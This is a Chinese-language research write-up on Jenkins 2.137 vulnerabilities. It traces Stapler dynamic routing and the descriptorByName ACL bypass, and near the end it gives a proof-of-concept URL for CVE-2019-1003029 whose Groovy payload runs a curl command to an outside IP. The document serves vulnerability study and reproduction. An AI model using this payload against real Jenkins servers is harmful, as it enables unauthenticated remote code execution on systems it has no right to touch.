0x01 环境搭建
Docker
> docker pull jenkins/jenkins:2.137
> docker run -p 8080:8080 -p 50000:50000 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" jenkins/jenkins:2.137
老版本插件下载地址:https://updates.jenkins-ci.org/download/plugins/
- Script Security: version 1.48
Idea
> git clone https://github.com/jenkinsci/jenkins.git
> git checkout jenkins-2.137
添加 Configuration - Remote 端口 8090 即可远程 debug
0x02 Stapler 动态路由
在 web.xml 中可以看到 jenkins 将所有请求交给 org.kohsuke.stapler.Stapler
进行处理
<servlet>
<servlet-name>Stapler</servlet-name>
<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
<init-param>
<param-name>default-encodings</param-name>
<param-value>text/html=UTF-8</param-value>
</init-param>
<init-param>
<param-name>diagnosticThreadName</param-name>
<param-value>false</param-value>
</init-param>
<async-supported>true</async-supported>
</servlet>
<servlet-mapping>
<servlet-name>Stapler</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
首先跟入org.kohsuke.stapler.Stapler#service
public static final String PREFIX = "/$stapler/bound/";
可以看到如果根据 Path 调用不同的 webApp
/$stapler/bound/
开头,root 为webApp.boundObjectTable
- 否则 root 为
hudson.model.Hudson
继承于jenkins.model.Jenkins
跟入 invoke 一直到 org.kohsuke.stapler.Stapler#tryInvoke
tryInvoke函数完成路由分派以及将路由与其相应的功能进行绑定
根据 webApp 类型进行不同的处理,优先顺序依次向下
- StaplerProxy
- StaplerOverridable
- StaplerFallback
这里先根据传入的 node (webApp) 获取一个对应的 MetaClass 对象,轮询其对应的 dispatcher,如果 webApp 为 hudson.model.Hudson
继承自 jenkins.model.Jenkins
,那么将会带入所有 dispatcher(size:218)
I. metaClass
既然 metaClass 在路由分派中有着重要的作用,那么看一下 metaClass 如何构建
public MetaClass getMetaClass(Object o) {
return getMetaClass(getKlass(o));
}
public Klass<?> getKlass(Object o) {
if (o instanceof KInstance) {
KInstance ki = (KInstance) o;
Klass k = ki.getKlass();
if (k!=null)
return k;
}
for (Facet f : facets) {
Klass<?> k = f.getKlass(o);
if (k!=null)
return k;
}
return Klass.java(o.getClass());
}
首先看到 getKlass,通过匹配 facets 来简化项目配置
相关内容如下:
Q: Facets — what they are for?
A: To streamline the project configuration.
Facets encapsulate the support for a variety of frameworks, technologies and languages. For example, to enable Spring in your project, you only have to add the corresponding facet. All libraries are downloaded and configured, you get the full range of coding assistance, refactorings, etc. Moreover, the code model is also recognized, so you are completely free from worrying about any configuration issues.
In most cases, you can add more than one facet of the same type to your project. For example, you can have multiple Web facets for deploying the application to different servers, or several EJB facets, each for its own EJB version. (See also Project Configuration.)
而 k 始终为 null,跳出这个循环,到关键的最后一句 return,直接返回了一个 Klass 对象,向上返回到getMetaClass
函数
public static Klass<Class> java(Class c) {
return c == null ? null : new Klass<Class>(c, KlassNavigator.JAVA);
}
// org.kohsuke.stapler.lang.KlassNavigator#JAVA
public static final KlassNavigator<Class> JAVA = new KlassNavigator<Class>() {...}
getMetaClass 中通过 Map(size:332) 映射获取到对应的 MetaClass 对象
private final Map<Klass<?>,MetaClass> classMap = new HashMap<Klass<?>,MetaClass>();
public MetaClass getMetaClass(Klass<?> c) {
if(c==null) return null;
synchronized(classMap) {
MetaClass mc = classMap.get(c);
if(mc==null) {
mc = new MetaClass(this,c);
classMap.put(c,mc);
}
return mc;
}
}
来看一下 MetaClass 里面都有些什么
注意到buildDispatchers
这个函数是用来创建分派器,调度核心就在这里,由上至下可被调用的方法的命名规则如下:
<obj>.do<token>(...) and @WebMethods
——doxx(...)
和@WebMethod
标注的方法<obj>.doIndex(...)
<obj>.js<token>
——jsxx(...)
@JavaScriptMethod
——@JavaScriptMethod
标注的方法NODE.getTOKEN()
——getxx(...)
NODE.getTOKEN(StaplerRequest)
——getxx(StaplerRequest)
<obj>.get<Token>(String)
——getxx(String)
<obj>.get<Token>(int)
——getxx(int)
<obj>.get<Token>(long)
——getxx(long)
<obj>.getDynamic(<token>,...)
——getDynamic(String[, ...])
<obj>.doDynamic(...)
——getDynamic()
buildDispatchers主要作用在于通过metaClass.klass
生成 node,并将 node 中
1.符合命名规范的方法所对应的路由名称
2.反射调用处理方法
创建为一个 dispatcher 并加入到分配器 dispatchers 中
※ 在创建 dispatcher 时,除了 doIndex 对应IndexDispatcher
、getDynamic和doDynamic对应Dispatcher
,其他均为NameBasedDispatcher
对象
II. 路由请求解析
看一下如何解析路由
查看其代码,首先遍历 metaClass.dispatchers,每次遍历中调用 dispatch 函数,因为从上面可以看到大部分都是NameBasedDispatcher
对象
可见 53 行匹配路由名称,55 行比较参数数量,直到进入 58 行调用 doDispatch 函数
而 doDispatch 函数是在 buildDispatchers 中动态生成的,步入后可知在这里是调用public hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()
ff为节点对应方法的各种信息
在本例中,ff.invoke会返回hudson.security.HudsonPrivateSecurityRealm
对象,然后作为最新的根节点进入下一次 req.getStapler().invoke 中进行解析,递归直到解析完毕所有节点,完成动态路由解析,例如第二轮检测user
0x03 白名单
org.kohsuke.stapler.Stapler#tryInvoke
动态路由解析中,在未开启匿名访问可读权限(ANONYMOUS_READ=False)时,会因检查权限异常进入isSubjectToMandatoryReadPermissionCheck
,如果访问路径匹配到允许的规则,则继续正常访问
在这里有三种绕过可读权限检测的 path,下面着重看第一种
0x04 利用链
Orange 选用了上面always readable paths
中的以下跳板来绕过 ACL
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/
动态路由解析顺序如下
jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])
看一下继承关系
跟入看下代码,一共有 502 个可利用的 descriptor
POC i. 用户查找
URL: /securityRealm/user/admin/search/index?q=[keyword]
能利用的原因在于 User 继承于AbstractModelObject
抽象类,实现了具体的 getSearch 方法
在下一轮解析中会从 classMap 中获取到 Search 对应的 metaClass 对象再去匹配分派器
POC ii. RCE
这里按照文章使用org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
使用@Grab
注解时%0a
会爆错,也就没法跟了,请求各位大佬帮助 <(_ _)>
CVE-2019-1003029
由于上面 RCE 没有复现成功,这里使用GroovySandbox#run(Script, Whitelist)
绕过沙箱
Poc
http://127.0.0.1:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"curl 192.168.1.8:9999".execute()
}
}
漏洞调试
先在test/pom.xml
中添加依赖,版本需同插件版本一致
<dependency>
<groupId>org.jenkins-ci.plugins</groupId>
<artifactId>script-security</artifactId>
<version>1.48</version>
<scope>test</scope>
</dependency>
求解:org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript
是如何解析出SecureGroovyScript的,在跟入java.lang.invoke.MethodHandle#invokeWithArguments(java.lang.Object...)
后出现了很奇怪的问题,在外部和内部跟入后,一个能正常返回,但是另一个却抛出异常??
言归正传,先进入org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript.DescriptorImpl#doCheckScript
,可以再跟入多次 parse
重头戏还是在最后的 parse,看一下 gcs 里都有些什么
跟入代码,这里parseClass(codeSource)
将传入的 value 解析成目标类,暂时不用管 context
public Script parse(final GroovyCodeSource codeSource) throws CompilationFailedException {
return InvokerHelper.createScript(parseClass(codeSource), context);
}
跟入后,如果 scriptClass 不为空且与继承GroovyObjectSupport
的 Script 不是同一个类的话,进入到 else 创建实例,这里就触发了恶意代码(感觉这里可能能进入 Script 那块判定,并通过抛出异常生成实例触发,待研究)
漏洞时间轴
参考资料
- https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
- https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/
- https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
- ※ https://github.com/orangetw/awesome-jenkins-rce-2019
- https://paper.seebug.org/836/#0x01-jenkins
- https://jenkins.io/zh/doc/developer/handling-requests/routing/